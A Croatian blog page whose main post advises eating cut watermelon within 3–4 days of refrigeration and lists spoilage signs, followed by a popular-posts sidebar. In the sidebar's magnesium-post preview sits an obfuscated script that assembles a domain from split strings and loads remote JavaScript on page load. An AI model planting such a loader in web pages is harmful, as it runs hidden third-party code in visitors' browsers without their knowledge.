KOLIKO DUGO NAREZANA LUBENICA SMIJE STAJATI U HLADNJAKU?🍉



Koliko dugo narezana lubenica smije stajati u hladnjaku?



Ljeti gotovo da nema boljeg osvježenja od hladne, sočne lubenice. Često je narežemo više nego što možemo pojesti odjednom pa ostatak spremimo u hladnjak, uvjereni da će tamo bez problema pričekati još nekoliko dana. Ipak, čak i u hladnjaku narezana lubenica ima ograničen rok trajanja.



Koliko dugo može stajati u hladnjaku?

Narezanu lubenicu najbolje je pojesti unutar 3 do 4 dana, pod uvjetom da je cijelo vrijeme pravilno čuvana u hladnjaku na temperaturi od 4 °C ili nižoj.

Komade spremite u čistu posudu s poklopcem ili ih dobro prekrijte. Tako će dulje zadržati svježinu, a smanjuje se i mogućnost da poprimi mirise drugih namirnica iz hladnjaka.



Ovo su znakovi da lubenica više nije za jelo

Ako niste sigurni je li lubenica još dobra, prvo obratite pažnju na njezin miris i teksturu. Kiseli ili neugodan miris, sluzava površina, izrazito mekano meso ili pojava plijesni jasni su znakovi da je više ne treba jesti.

Ako je lubenica dugo stajala izvan hladnjaka, također je bolje ne riskirati, čak i ako na prvi pogled izgleda sasvim normalno.



Mali trik za sigurnije čuvanje

Lubenicu nemojte rezati prljavim nožem niti na nečistoj dasci. Prije rezanja dobro operite njezinu koru jer se bakterije s površine mogu prenijeti na unutrašnjost.

Dakle, pravilo je jednostavno: narezanu lubenicu čuvajte u hladnjaku i pojedite unutar 3 do 4 dana. Ako čudno miriše, izgleda ili je postala sluzava, vrijeme je da završi u kanti, a ne na tanjuru.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više